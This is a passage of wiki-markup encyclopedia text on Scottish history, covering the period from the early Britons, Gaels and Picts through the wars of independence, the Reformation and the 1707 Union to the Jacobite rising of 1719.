# the [[Britons]] formed a [[Roman Empire|Roman]]-influenced [[Brythonic]] [[Celt]]ic culture in the south, with the kingdom of Y Strad Glud ([[Kingdom of Strathclyde|Strathclyde]]) from the Firth of Clyde southwards, [[Rheged]] in Cumbria, [[Selgovae]] in the central [[Scottish Borders|Borders]] area and the [[Votadini]] or [[Gododdin]] from the Firth of Forth down to the Tweed

Invasions brought three more groups, though the extent to which they replaced native populations is unknown 
# the [[Old Irish language|Old Irish]]-speaking [[Scotti]] (Irish) or more specifically, the Dal Riatans, arrived from [[Ireland]] from the late [[5th century]] onwards, taking possession of the [[Western Isles]] and the west coast in the Kingdom of [[Dalriada]].
# the [[Anglo-Saxons]] expanding from [[Bernicia]] and the continent. Notably seizing [[Gododdin]] in the 7th Century.  A legacy of this influence is the vernacular [[Scots language]], a [[Germanic languages|Germanic]] language similar to, but distinct from, [[English language|English]].  The language was initially termed [[Ynglis|Inglis]] but this terminology became unpalatable after [[Anglo-Norman language|Anglo-Norman]] had been eclipsed by the [[English language]] within England from the late [[14th century]] onwards.  [[Scottish Gaelic|Gaelic]], which had earlier been referred to as &quot;Scottis&quot; (pronounced the same way as Scots), was increasingly referred to instead as [[Erse]], the word used for Irish. This terminology has now fallen out of use within [[Scottish Standard English]], however, and [[Scottish Gaelic|Gaelic]] is now normally used instead.
# in the aftermath of the [[795]] [[Viking]] raid on [[Iona]], the Norse Jarls of [[Orkney Islands|Orkney]] took hold of the [[Western Isles]], [[Caithness]] and [[Sutherland]], while Norse settlers mixed with the inhabitants of [[Galloway]] to become the ''Gallgaels''.

The British [[Saint Ninian]] conducted the first [[Christianity| Christian]] mission in Scotland.  From his base, the ''[[Candida Casa]]'' (present-day [[Whithorn]]) on the [[Solway Firth]], he spread the faith in the south and east of Scotland and in the north of England.  However, according to the writings of [[Saint Patrick]] and [[Saint Columba]], the Picts appear to have renounced Christianity in the century between Ninian's death (432) and the arrival of [[Saint Columba]] in 563.  The reason is not known.  The Gaels re-introduced Christianity into Pictish Scotland, gradually pushing out worship of the older Celtic gods.  The most famous evangelist of that period, [[Saint Columba]], came to Scotland in [[563]] and settled on the island of [[Iona]].  Some consider his (possibly apocryphal) conversion of the Pictish king [[Bridei I of the Picts|Bridei]] a key event in the [[Christianization|Christianisation]] of Scotland.

==Rise of the Kingdom of Alba==

The [[Mythology|myth]] of [[MacAlpin's Treason]] tells how [[Alba]] was born when the Dalriadan [[Kenneth I of Scotland|Kenneth mac Alpin]] conquered the Picts. Modern studies &lt;!-- Woolf's From Pictland to Alba, which would be the last word if it were ready, will take this line. Brown's article National Identity in Lynch's Oxford Companion says Alba is a creation of Constantine II. Driscoll's Alba argues for conquest but see Kenneth mac Alpin as King of Fortriu and Constantine II as 1st King of Alba. --&gt; are less sure of Kenneth's Dalriadan roots and consider Kenneth and his successors to be Pictish Kings. Kenneth's son [[Constantine I of Scotland|Constantine]] had the ''Series Longoir'' written to show his family's claim to the throne of a united Pictland.  The triumph of Gaelic over Pictish and the change from Pictland to Alba is placed in the half-century reign of [[Constantine II of Scotland|Constantine mac Aeda]]. Why and how this happened is unknown.

At first this new kingdom corresponded to Scotland north of the Rivers Forth and Clyde.  Southwest Scotland remained under the control of the Strathclyde Britons. Southeast Scotland was under the control from around 638 of the proto-English kingdom of [[Bernicia]], then of the [[Kingdom of Northumbria]]. This portion of Scotland was contested from the time of Constantine II and finally fell into Scottish hands in [[1018]], when [[Malcolm II of Scotland|Malcolm II]] pushed the border as far south as the [[River Tweed]]. This remains the south-eastern border to this day (except around [[Berwick-upon-Tweed]]).

Scotland, in the geographical sense it has retained for nearly a millennium, completed its expansion by the gradual incorporation of the Britons' kingdom of [[Strathclyde]] into Alba.  In [[1034]], [[Duncan I of Scotland|Duncan I]], descended from Irish Ui Neill monastery protectors and appointed to the crown of Strathclyde some years earlier, inherited Alba from his maternal grandfather, Malcolm II.  With the exception of [[Orkney Islands|Orkney]], the [[Western Isles]], [[Caithness]] and Sutherland, which had come under the sway of the Norse, Scotland stood unified.

[[Macbeth I of Scotland|Macbeth]], the &quot;''Cenél Loairn''&quot; candidate for the throne whose family had been suppressed by Malcolm II, defeated Duncan in battle in [[1040]].  Macbeth then ruled for seventeen years before Duncan's son [[Malcolm III of Scotland|Malcolm III]], more commonly known as Malcolm Canmore (Scottish Gaelic: ''Ceann mòr'' meaning &quot;Big Head&quot;), overthrew him. ([[William Shakespeare]], in his play ''[[Macbeth]]'', later immortalised these events, in a heavily fictionalised way based on inaccurate contemporary history that flattered the antecedents of [[James I of England|James VI of Scotland/I of England]] at Macbeth's expense. For a more accurate fictional account, it is better to read [[Dorothy Dunnett]]'s novel, ''King Hereafter''.)

==Anglo-Norman influence==
Malcolm's victory foreshadowed what became a major thread of Scottish history for the next thousand years. He had relied on [[Northumbrian]] assistance to return to the throne, and from then on Scotland at no time remained very far from the thoughts of England's rulers. The reciprocal condition equally applied.

In [[1066]] the [[Norman Conquest]] shook England to its foundations and one of the claimants of the English throne opposing [[William I of England|William the Conqueror]], [[Edgar Atheling|Edgar]], eventually fled to Scotland.  Malcolm married Edgar's sister [[Saint Margaret of Scotland|Margaret]], and thus came into opposition to William who had already disputed Scotland's southern borders. William invaded Scotland in [[1072]], riding through [[Lothian]] and past [[Stirling]] on to the [[Firth of Tay]] where he met up with his fleet of ships. Malcolm submitted, paid homage to William, and surrendered his son [[Duncan II of Scotland|Duncan]] as a hostage.

Margaret herself had a great influence on Scotland. She is said to have brought European cultivation to the warlike Scottish court. She had an English father and a Hungarian mother and had grown up in [[Hungary]], recently pagan and largely untouched by the European culture of the period, with her background steeped in the [[Roman Catholic]] church. Her influence in Church politics, pressed the Scottish Church to move away from some of its unique Celtic traditions towards greater conformity with the rites of the Church in the rest of Western Europe. Invasions by the [[Viking]]s during the centuries previous had cut Scotland and Ireland off from the bulk of European Christianity, and their local Churches had evolved along their own paths. However at this point the Church explicitly recognised the Bishop of Rome (the [[Pope]]) as its head and at her instigation, the [[Benedictine]] order founded a monastery at [[Dunfermline]], and St Andrews began to replace Iona as the centre of ecclesiastical leadership. The rites of the Scottish church became gradually re-integrated with mainstream Western Catholicism from that base.

When Malcolm died in [[1093]], his brother [[Donald III of Scotland|Donald III]] and Malcolm's eldest son by Margaret [[Edmund I of Scotland|Edmund I]] succeeded him to rule Scotland jointly.  However, [[William II of England]] backed Malcolm's son by his first marriage, Duncan, as a pretender to the throne.  With the English behind him Duncan briefly seized power as [[Duncan II of Scotland|Duncan II]].  His murder within a few months saw Donald and Edmund restored to joint rule.  The two ruled Scotland until two of Edmund's younger brothers returned from exile in England with English military backing. Victorious, the two younger brothers imprisoned Donald III and Edmund I for life, and the older of the two became [[Edgar I of Scotland|King Edgar]] in [[1097]]. Shortly afterwards King [[Magnus III of Norway|Magnus Bare Leg]] of Norway forced King Edgar into ceding the Hebrides and Kintyre to Norway, creating the conditions for the independence of the [[Lord of the Isles|Lords of the Isles]] from the Scottish Crown.

[[Image:Fm cambuskenneth abbey.jpg|thumb|right|250px|[[Cambuskenneth Abbey]], built around 1140, derived much of its importance from  its proximity to sometime-capital [[Stirling]].]]

When Edgar died in [[1107]], Margaret's third son [[Alexander I of Scotland|Alexander]] became king, and when he in turn passed away in [[1124]], the crown passed to her fourth son [[David I of Scotland|David I]].  During David's reign [[Scots language|Lowland Scots]] (known as ''Inglis'' then) began to grow in south east Scotland, although [[Scottish Gaelic|Gaelic]] would continue to be spoken in many parts of what would become the Lowlands for centuries more. 

The governmental and cultural innovations introduced by the [[Normans|Norman]] conquerors of England impressed David greatly, and he arranged for several notables to come north and take up places within the Scottish aristocracy. The Normans effectively militarised large sections of Scotland, building strong stone castles, and imposing the [[feudal system]] upon the peasantry; they came into frequent conflict with the native nobility, especially in the north east and south west of the country. Like his successors, he planted a number of towns or &quot;[[burgh|burghs]]&quot;, which were colonised by Normans, [[Fleming|Flemish]] merchants and Englishmen.

In a mirror of the invitation of the Normans northwards, David received lands south of the border in [[fee]] from the English kings.  This meant that the Kings of Scotland also functioned as Earls of Huntingdon, and that the Earls paid ceremonial homage to the English kings for the lands received.  This homage proved problematic, however, as Malcolm Canmore ''as the King of Scotland'' had paid homage to the new Norman Kings of England twice after defeats during his various campaigns against the Normans in support of his Anglo-Saxon brother-in-law [[Edgar Atheling]]'s claim to the English throne.  The English maintained that this meant Scotland had become subordinate to England.

David himself during his reign fended off this claim, but [[Henry II of England|Henry II]] defeated David's grandson, [[William I of Scotland|William the Lion]] and hauled him off to the English holdings in [[Normandy]].  There William had to swear fealty in [[1174]], not as Earl but as King.  For the first time, Scotland became nominally unified with England.  The [[vow]] was nullified in [[1189]] when [[Richard I of England|Richard I]] accepted a payment from William, needed for Richard's [[crusade]] to the [[Middle East]], but the submission hung over the Scottish kings for some time afterwards.

In [[1263]] Scotland and [[Norway]] fought the [[Battle of Largs]] for control over the Western Isles.  The battle proved a success for the Scots, and in [[1266]] the Norwegian king [[Magnus VI of Norway]] signed the [[Treaty of Perth]], which acknowledged Scottish suzerainty over the islands. Despite the treaty the practical independence of the [[Lord of the Isles]] continued.

A series of deaths in the line of succession in the [[1280s]], followed by King [[Alexander III of Scotland|Alexander III]]'s death in [[1286]] left the Scottish crown in disarray. His grand-daughter [[Margaret I of Scotland|Margaret, the &quot;Maid of Norway&quot;]], a four-year old girl, became Queen of Scots.

[[Edward I of England]], as Margaret's great-uncle, suggested that his son (also a child) and Margaret should marry, stabilising the Scottish line of succession.  In [[1290]] Margaret's guardians agreed to this, but Margaret herself died in [[Orkney]] on her voyage from Norway to Scotland before either her coronation or her marriage could take place.

==War with England==
Margaret's death ([[1290]]) now left the Scottish throne with no clear successor, and Edward became the arbitrator between the various claimants to the crown.  He immediately stated that any claimant to the throne would have to acknowledge him as overlord.  With a large number of claimants, it was not difficult to find a plausible one who would accept this condition: Edward selected him, and [[John I of Scotland|John Balliol]] became king ([[17 November]] [[1292]]).

Balliol soon tried to back out of the arrangement, largely because Edward put considerable ingenuity into ways of emphasising his alleged position as the Scottish king's formal overlord.  In [[1295]] John renounced his allegiance and entered into an alliance with France.  This renewed the [[Auld Alliance]] first arranged by William the Lion.

Edward invaded Scotland in [[1296]] and swiftly brought Balliol to heel, moving to establish full English control over Scotland. In this environment [[William Wallace]] and [[Andrew de Moray]] raised southern and northern Scotland into rebellion and were elected as Guardians of Scotland by the nobility in Balliol's absence. Under their joint leadership the English army was defeated at the [[Battle of Stirling Bridge]]. Moray died of his wounds two months later. For a short time Wallace ruled Scotland in the name of John Balliol.

Edward retaliated and defeated Wallace at the [[Battle of Falkirk (1298)]]. Wallace escaped but resigned as Guardian of Scotland. [[John Comyn]] and [[Robert I of Scotland|Robert the Bruce]] were appointed in his place, the latter the grandson of a failed claimant to the throne during Edward's arbitration in [[1292]].  In [[1304]], English troops forced all Scottish notables into giving homage to Edward but secret pacts were made by Bruce and others to continue the struggle once conditions were ripe.  Wallace was betrayed and fell into the hands of the English, who executed him in [[1305]] for treason despite the fact that he owed no allegiance to England.

From this low point, the Scots regained and reinforced their independence from England during the first two decades of the [[14th century]].  Robert the Bruce believed that John Comyn had betrayed a secret pact between them and participated in his murder during a private meeting in a church in Dumfries in [[1306]].  Bruce subsequently was crowned as King in [[1307]], but Edward's forces again soon overran the country after defeating Bruce's small army at the [[Battle of Methven]].  Despite the excommunication of Bruce and his followers by [[Pope Clement V]], support for Bruce slowly strengthened and by 1314 with the help of leading nobles such as [[James Douglas (the Black)|Sir James Douglas]] and the [[Thomas Randolph, 1st Earl of Moray|Earl of Moray]] only the castles at Bothwell and Stirling remained under English control.  Edward I had died in [[1307]], and his heir [[Edward II of England|Edward II]] moved an army north to break the siege of [[Stirling Castle]] and reassert control.  Robert defeated that army at the [[Battle of Bannockburn]] in [[1314]], securing ''de facto'' independence.  In [[1320]] a remonstrance to the Pope from the nobles of Scotland (the [[Declaration of Arbroath]]) finally convinced [[Pope John XXII]] to overturn the earlier excommunication and nullify the various acts of submission by Scottish kings to English ones so that Scotland's sovereignty could be recognised by the major European dynasties.

In [[1326]], the first full [[Parliament of Scotland]] met.  The parliament had evolved from an earlier council of nobility and clergy, the ''colloquium'', constituted around [[1235]], but in [[1326]] representatives of the [[burgh]]s &amp;mdash; the burgh commissioners &amp;mdash; joined them to form the [[Three Estates]].

In [[1328]], [[Edward III of England|Edward III]] signed the [[Treaty of Northampton]] acknowledging [[Scottish independence]] under the rule of Robert the Bruce. After Robert's death in [[1329]], however, England once more invaded on the pretext of restoring the &quot;Rightful King&quot; &amp;mdash; [[Edward Balliol]], son of John Balliol &amp;mdash; to the Scottish throne, thus starting the Second War of Independence. In the absence of a leader with the military competence of Wallace or of The Bruce, Scotland remained under English control, directly or indirectly, for over thirty years, and only fully regained its independence under [[David II of Scotland|David II]] after Balliol's death, mainly because Edward III's attention had by then turned to France and to the [[Hundred Years War]].

See Also: [[Wars of Scottish Independence]]

== Late Mediaeval events ==
After David's death, [[Robert II of Scotland|Robert II]], the first of the Stewart (later Stuart) kings, came to the throne in 1371.  There followed in [[1390]] his ailing son John, who, due to the hatred inspired by the previous King John (Balliol), took the [[regnal name]] [[Robert III of Scotland|Robert III]].  During Robert III's reign (1390 &amp;ndash; 1406), actual power rested largely in the hands of his brother, also named Robert, the [[Duke of Albany]]. In [[1396]] during this king's reign, the last [[trial by combat]] in Europe, the ''Battle of the Clans'' took place before the King in [[Perth, Scotland|Perth]].

However problems with England continued.  After the suspicious death (possibly on the orders of the Duke of Albany) of his elder son, David, Duke of Rothesay in [[1406]], Robert III sent his son James (the future [[James I of Scotland|James I]]) to France for safety.  Unfortunately the English captured him ''en route'' and he spent the next 18 years as a prisoner held for ransom.  As a result, after the death of Robert III, regents ruled Scotland: firstly, the Duke of Albany; and later his son, during whose office the country fell into near anarchy. When Scotland finally paid the ransom in [[1424]], James returned at the age of 32, with his English bride.  He determined to restore justice and the rule of law and to deal with his enemies.  He set about this immediately and ruthlessly, using military measures, reforming the parliamentary and court systems, and killing anyone who threatened his authority, including his cousin Albany. This resulted in a much greater amount of power in the hands of the Scottish government than at any time preceding, but the process led to great unpopularity for James and finally to his assassination in [[1437]].  His son [[James II of Scotland| James II]] (reigned 1437&amp;ndash;1460), when he came of age in [[1449]], continued his father's policy of weakening the great noble families, most notably taking on the great [[House of Douglas]] that had come to prominence at the time of the Bruce.

Scotland advanced markedly in educational terms during the [[fifteenth century]] with the founding of the [[University of St Andrews]] in [[1413]], the [[University of Glasgow]] in [[1450]] and the [[University of Aberdeen]] in [[1494]], and with the passing of the [[Education Act 1496]].

In [[1468]] the last great acquisition of Scottish territory occurred when [[James III of Scotland|James III]] married [[Margaret of Denmark]], receiving the [[Orkney Islands]] and the [[Shetland Islands]] in payment of her dowry.

After the death of James III (1488), again by assassination, his successor [[James IV of Scotland|James IV]] successfully ended the quasi-independent rule of the [[Lord of the Isles]], bringing the Western Isles under effective Royal control for the first time.  In [[1503]], he married [[Henry VII of England|Henry VII's]] daughter, [[Margaret Tudor]], thus laying the foundation for the [[17th century]] [[Union of the Crowns]]. James IV's reign is often considered to be a period of cultural flourishing, and it was around this period that the European [[Renaissance]] began to infiltrate Scotland. James IV was the last known Scottish king known to be able to speak [[Scottish Gaelic|Gaelic]], although some suggest his son could also.

In [[1512]] under a treaty extending the Auld Alliance, all nationals of Scotland and France also became nationals of each other's countries, a status not repealed in France until [[1903]] and which may never have been repealed in Scotland.  However a year later, the Auld Alliance had more disastrous effects when James IV was required to launch an invasion of England to support the French when they were attacked by the English under [[Henry VIII of England|Henry VIII]]. The invasion was stopped decisively at the [[battle of Flodden Field]] during which the King, many of his nobles, and over 10,000 troops &amp;mdash; ''The Flowers of the Forest'' &amp;mdash; were killed. The extent of the disaster impacted throughout Scotland because of the large numbers killed, and once again Scotland's government lay in the hands of regents. The song ''[[Flowers of the Forest|The Flooers o' the Forest]]'' commemorated this, an echo of the poem ''[[Gododdin|Y Gododdin]]'' on a similar tragedy in about [[600]].

When [[James V of Scotland|James V]] finally managed to escape from the custody of the regents with the aid of his redoubtable mother in [[1528]], he once again set about subduing the rebellious Highlands, Western and Northern isles, as his father had had to do. He married the French noblewoman [[Marie de Guise]]. His reign was fairly successful, until another disastrous campaign against England led to defeat at the [[battle of Solway Moss]]([[1542]]). James returned, broken, to die a short time later. The day before his death, he was brought news of the birth of an heir: a daughter, who became [[Mary I of Scotland]] (or 'Mary, Queen of Scots'). James is supposed to have remarked that it ''&quot;came with a lass, it will go with a lass&quot;''- referring to the House of Stewart which began with Walter Stewart's marriage to the daughter of Robert the Bruce. Once again, Scotland was in the hands of a regent, James Hamilton, Earl of Arran.

==Mary, Queen of Scots==
Within two years, the ''[[Rough Wooing]]'', Henry VIII's military attempt to force a marriage between Mary and his son, Edward, had begun. This took the form of border skirmishing and it was at this time that the town of [[Berwick-upon-Tweed]] was finally taken by the English.  To avoid the &quot;wooing&quot;, Mary was sent to France at the age of five, as the intended bride of the heir to the French throne. Her mother stayed in Scotland to look after the interests of Mary &amp;mdash; and of France &amp;mdash; although the [[James Hamilton, 2nd Earl of Arran|Earl of Arran]] acted officially as regent.

In [[1547]], after the death of Henry VIII, forces under the English regent [[Edward Seymour, 1st Duke of Somerset]] were victorious at the [[Battle of Pinkie Cleugh]], the climax of the ''Rough Wooing'' and followed up by occupying Edinburgh. However it was to no avail since Queen Mary was in France and Marie de Guise called on French reinforcements who helped stiffen resistance to the English occupation. By [[1550]], after a change of regent in England, the English withdrew from Scotland completely.

From [[1554]], Mary's mother, Marie, took over the regency and continued to advance French interests in Scotland. French cultural influence resulted in a large influx of French vocabulary into [[Scots language|Scots]], for example. But anti-French sentiment also grew, particularly among Protestants, who saw the English as their natural allies. In [[1560]] Marie died, and with her death the Auld Alliance also died at the [[Treaty of Edinburgh]].  Mary, now nineteen and recently widowed, returned to take up the government of Scotland in a hostile environment. She did not do well and after only seven turbulent years, at the end of which Protestants had gained complete control of Scotland, she had  perforce to abdicate and flee to England, leaving her young son, [[James VI of Scotland|James VI]], in the hands of regents.

==Protestant Reformation==
[[Image:John Knox.jpg|framed|right|In 1559 [[John Knox]] returned from ministering in [[Geneva]] to lead the [[Calvinism|Calvinist]] reformation in Scotland]]

During the [[16th century]], Scotland underwent a [[Protestant Reformation]]. In the earlier part of the century, the teachings of first [[Martin Luther]] and then [[John Calvin]] began to influence Scotland.   The execution of a number of Protestant preachers, most notably the Lutheran influenced [[Patrick Hamilton (martyr)|Patrick Hamilton]] in [[1527]] and later the Calvinist [[George Wishart]] in [[1546]] who were burnt at the stake in St Andrews by [[Cardinal Beaton]] for heresy, did nothing to stem the growth of these ideas. Beaton was assassinated shortly after the execution of George Wishart.

The eventual Reformation of the Scottish Church, was carried out by Parliament from [[1560]] (during the minority of [[Mary Queen of Scots]]). The most influential figure was that of [[John Knox]], who had been a disciple of both John Calvin and George Wishart. [[Roman Catholicism]] was not totally eliminated, and remained strong particularly in parts of the highlands. 

The Reformation remained somewhat precarious through the reign of Queen Mary, who remained Roman Catholic, her son [[James VI]], however, was raised as a Protestant. In [[1603]], following the death of the childless Queen [[Elizabeth I of England|Elizabeth I]], the crown of [[England]] passed to James. He took the title [[James I of England]], thus unifying these two countries under his personal rule.  For a time, this remained the sole connection between two independent nations, but it foreshadowed the eventual 1707 union of Scotland and England under the banner of the United Kingdom of [[Great Britain]].

One of the primary differences between the two countries was religious.  While both had national churches that were Protestant, they were quite distinct.  The [[Church of England]] had broken with the Roman [[Pope|Pontiff]] but had not adopted [[Calvinism]] as the Scots. England retained her [[Episcopal]] form of Church government, whilst Scots, for the greater part, favoured [[Presbyterian]]. Subsequent Stuart monarchs tried to enforce bishops upon the Scottish Church, but with limited success.

==Wars of the Three Kingdoms and the Puritan Commonwealth==
[[Image:Oliver Cromwell.jpg|thumb|right|180px|The Parliamentarian armies of  [[Oliver Cromwell]] briefly integrated Scotland into the Commonwealth]]
See Also [[Wars of the Three Kingdoms]], [[Scottish Civil War]]
===Bishops Wars===
Shortly after his reign began, an attempt by [[Charles I of England|Charles I]] to impose English-style prayer books on the Scottish church resulted in anger and widespread rioting. (The story goes that it was initiated by a certain [[Jenny Geddes]] who threw a stool in [[St Giles Cathedral]].)  Representatives of various sections of Scottish society drew up the [[National Covenant]], asserting Presbyterian practice.  Charles gathered a military force, but lost his nerve on the eve of his invasion, settling for negotiations.  When the Scots notables held their ground, he again sought a military solution, but his troops were turned back after inconclusive fighting. As a result of these &quot;[[Bishops' Wars]]&quot; Charles tried to raise an army of Irish Catholics, but was forced to back down after a storm of protest in Scotland and England. The backlash from this venture provoked a [[Irish Rebellion of 1641|rebellion in Ireland]] and Charles was forced to summon the English Parliament to appeal for funds. The summoning of this parliament led to demands for reform in England, and eventually resulted in the [[English Civil War]]). This series of civil wars that engulfed Britain in the 1640s and 50s is known to modern historians as the [[Wars of the Three Kingdoms]]. The [[Covenanters]] meanwhile, were left governing Scotland, where they raised a large army of their own and tried to impose their religious settlement on [[Episcopal|Episcopalians]] and [[Roman Catholics]] in the north of the country.

===Civil War in England and Scotland===
As the civil wars developed, the English [[Parliamentarians]] appealed to the Scots Covenanters for military aid against the King. The Scots agreed in return for substantial religious and political concessions. Scottish troops played a major part in the defeat of Charles I, notably at the [[battle of Marston Moor]]. An army under the Earl of Leven occupied the North of England for some time. However, not all Scots supported the Covenanter's taking arms against their King. In [[1645]], [[James Graham, 1st Marquess of Montrose]] attempted to raise the Highlands for the King. In truth, few Scots would follow him, but, aided by 1,000 Irish, Highland and Islesmen troops sent by the [[Confederate Ireland|Irish Confederates]] under [[Alasdair MacColla]], and an instinctive genius for mobile warfare, he was stunningly successful. A [[Scottish Civil War]] began in September 1644 with his victory at [[battle of Tippermuir]]. After a series of victories over poorly trained Covenanter militias, the lowlands were at his mercy. However, at this high point, his army melted away as MacColla and the Irish and Highland men fell out with Montrose, who shortly after was defeated at the [[battle of Philiphaugh]]. In July 1646, his army was disbanded on the King's orders as Charles tried to find an accommodation with moderate Scots Presbyterians. In this secret 'engagement', the Scots promised military aid in return for Charles promising Presbyterianism. When the English parliamentarians refuse to release the King, the [[Duke of Hamilton]] then led an invasion of England, but it came too late to save the King, and was defeated by [[Oliver Cromwell]] in August 1647. 
===Cromwellian Occupation and Restoration===
[[Image:Cromwell at Dunbar Andrew Carrick Gow.jpg|thumb|275px|right|&quot;Cromwell at Dunbar&quot;,  Andrew Carrick Gow. The battle of Dunbar was a crushing defeat for the Scottish Covenanters]]
The Covenanters objected to the English Parliament's arrest and execution of Charles I in [[1649]]. The Stuarts after all were of Scottish descent and more importantly, had promised to take the Covenant themselves in return for an alliance against the English Parliament. After Charles' execution in [[1649]], his eldest son was proclaimed King [[Charles II of England|Charles II]] in Edinburgh.  [[Oliver Cromwell]] then invaded Scotland in 1650, and defeated the Scottish army in a series of battles at [[battle of Dunbar (1650)|Dunbar]] and [[battle of Worcester|Worcester]]. Scotland was then occupied by an English force under [[George Monck]] throughout the [[Interregnum (England)|Interregnum]] and indeed annexed by the Puritan-governed [[Commonwealth of England|Commonwealth]].

From [[1652]] to [[1659]], Scotland was part of Cromwell's Commonwealth, under English control but gaining equal trading rights. Upon its collapse, and with the restoration of Charles II, nominal Scottish independence returned. Scotland regained its parliament, but the English [[Navigation Acts]] prevented the Scots engaging in what would have been lucrative trading with England's growing colonies. The formal frontier between the two countries was re-established, with customs duties which, while they protected Scottish cloth industries from cheap English imports, also denied access to English markets for Scottish cattle or Scottish linens. (Braudel 1984 p 370). 

Charles largely ignored Scotland for the next two decades, concentrating on extending his power in England, though his brother James as Duke of York instituted the ''Commission for Pacifying the Highlands'' which worked in co-operation with the [[Scottish clan|clan]] chiefs and built up goodwill. Charles did, however, continue his father's policy of re-introducing [[Episcopal|Episcopalian]] government into the Scottish Church.  Whilst this was not without some support in Scotland, in [[1679]] it provoked another Presbyterian rebellion in the south.  Charles contained the rebellion and brutally suppressed the [[Covenanters]], in what became known as &quot;[[the Killing Time]]&quot;. When he died in [[1685]] and his brother, a Roman Catholic, succeeded him as [[James II of England|James VII of Scotland (and II of England)]], matters came to a head.

==The Glorious Revolution==
James's attempt to introduce [[religious toleration]] to England's Roman Catholics alienated his Protestant subjects. Neither this, nor his moves towards absolutism, provoked outright rebellion, as it was believed that he would be succeeded by his daughter Mary, a Protestant and future wife of [[William III of Orange|William of Orange]]. When, in 1688, James produced a male heir, everything changed. At the invitation of seven Englishmen, William landed in England with 40,000 men, and James fled. Whilst this was primarily an English event, the &quot;[[Glorious Revolution]]&quot; had a great impact on Scottish history. Whilst William accepted limits on royal power, under the ''[[Bill of Rights]]'' (a contract between himself and the English parliament, Scotland had an equivalent document in the ''Claim of Rights''. This is an important document in the evolution of the rule of law and the rights of subjects.

Most Scots supported William of Orange, but many (particularly in the Highlands) remained sympathetic James VII. His cause, which became known as [[Jacobitism]], spawned a series of uprisings. An initial Jacobite rising under [[John Graham, 1st Viscount Dundee]] (''[[Bonnie Dundee]]'') defeated William's forces at the [[Battle of Killiecrankie]] in [[1689]], but Dundee was slain in the fighting, and the leaderless army was soon defeated at the [[Battle of Dunkeld]]. The complete defeat of James in Ireland by William at the [[Battle of the Boyne]] ([[1690]]), ended matters for a time. (Ironically, the protestant William had also enjoyed the support of the [[Pope]] and the Catholic [[Habsburg]] monarchy against the aggressive foreign policy of [[Louis XIV of France]].) 

The late [[17th century]] was economically difficult for Scotland. The bad harvests of the ''seven ill years'' in the 1690s led to severe famine and depopulation. English protectionism kept Scots traders out of the new colonies, and English foreign policy disrupted trade with France. As a result many Scots emigrated to [[Ulster]] (the [[Ulster-Scots]]). The Parliament of Scotland of [[1695]] enacted a number of remedies for the desperate economic situation, including setting up the [[Bank of Scotland]]. The ''Act for the Settling of Schools'' established a parish-based system of public education throughout Scotland. The [[Company of Scotland]] received a charter to raise capital through public subscription to trade with Africa and the Indies.

==Scottish overseas colonies==
In attempts to expand the Scots had earlier sent settlers to the English colony of [[New Jersey]] and had established an abortive colony at Stuart's Town in what is now [[South Carolina]].  The Company of Scotland soon became involved with the [[Darién Scheme]], an ambitious plan devised by [[William Paterson (banker)|William Paterson]] to establish a colony on the Isthmus of [[Panama]] in the hope of establishing trade with the [[Far East]] &amp;mdash; the principle that led to the construction of the [[Panama Canal]] much later.  The Company of Scotland easily raised subscriptions in London for the scheme.  But the English government opposed the idea: involved in the [[War of the Grand Alliance]] from 1689 to 1697 against [[France]], it did not want to offend [[Spain]], which claimed the territory as part of [[New Granada]]. The English investors had perforce to withdraw.  Returning to Edinburgh, the Company raised 400,000 pounds in a few weeks.  Three small fleets with a total of 3000 men eventually set out for Panama in 1698.  The exercise proved a disaster.  Poorly equipped; beset by incessant rain; under attack by the Spanish from nearby [[Cartagena, Columbia|Cartagena]]; and refused aid by the English in the [[West Indies]], the colonists abandoned their project in 1700.  Only 1000 survived and only one ship managed to return to Scotland.  A desperate ship from the colony which called at [[Kingston, Jamaica|Port Royal]] received no assistance&amp;mdash;on the orders of the English government.  Realising the dangers of the conflicting claims and aims of two independent kingdoms at odds with one another, [[William III of England|William of Orange]] called for a union of the two countries.  It did not happen.  Union, when it did come in 1707, restored free trade between the countries and gave the Scots access to the burgeoning English Empire.

==Union, the Hanoverians and the Jacobites==
[[Image:Bonnie prince charlie.JPG|framed|right|&quot;The Young Pretender&quot; [[Charles Edward Stuart|''Bonnie Prince Charlie'']] began his campaign on Scotland's west coast. His hopes to gain the Scottish and English thrones died at the [[Battle of Culloden]].]]
By [[1700]], the Protestant monarchy seemed in danger of coming to an end with the childless Stuart [[Anne I of Great Britain|Queen Anne]]. Rather than return to her Roman Catholic brother [[James Francis Edward Stuart]], the English Parliament enacted that [[Sophia of Hanover]] and her descendants should succeed ([[Act of Settlement 1701]]). However, the Scottish counterpart, the [[Act of Security]], merely prohibited a Roman Catholic successor, leaving open the possibility that the crowns would diverge. 
 
Rather than risk the possible return of James Francis Edward Stuart, then living in France, the English parliament pressed for full union of the two countries. In [[1707]], despite much opposition in Scotland, the Treaty of Union was concluded. 

The treaty, which became the [[Act of Union 1707]], confirmed the [[House of Hanover|Hanoverian]] succession. It abolished both the Parliaments of England and Scotland, and established the Parliament of Great Britain. Scotland was to have 45 seats in the [[House of Commons]], and a representation in the [[House of Lords]]. The act also created a common citizenship, giving Scots free access to English markets. The position of the [[Church of Scotland]] and separate Scottish law and courts was also enshrined. This union was highly controversial among Scots, and increasingly so as the hoped-for economic revival was not immediately forthcoming. When it did come, in the second half of the century, it was Lowland Scotland that received the benefits.

[[Jacobitism]], however, was not yet a spent force. Indeed it was revived by the unpopularity of the union. In [[1708]] James Francis Edward Stuart attempted an invasion with a French fleet, but the Royal Navy prevented any from landing. A more serious attempt occurred in [[1715]]. This rising (known as ''The 'Fifteen'') envisaged simultaneous uprisings in [[Wales]], [[Devon]] and Scotland. However, government arrests forestalled the southern ventures. In Scotland, John Erskine, [[Earl of Mar]], nicknamed ''Bobbin' John'', raised the Jacobite clans and led them bravely but indecisively. Mar captured [[Perth, Scotland|Perth]], but let a smaller government force under the [[John Campbell, 2nd Duke of Argyll|Duke of Argyll]] hold the [[Stirling]] plain. Part of Mar's army joined up with risings in northern England and southern Scotland, and the Jacobites fought their way into England before being defeated at the [[Battle of Preston (1715)|Battle of Preston]], surrendering on  [[14 November]] [[1715]]. The day before, Mar failed to defeat Argyll at the Battle of Sheriffmuir. At this point, James belatedly landed in Scotland, but was advised that the cause was hopeless. He fled back to France. An attempted Jacobite invasion with Spanish assistance in [[1719]] met with little support from the clans and ended at the [[Battle of Glen Shiel]].

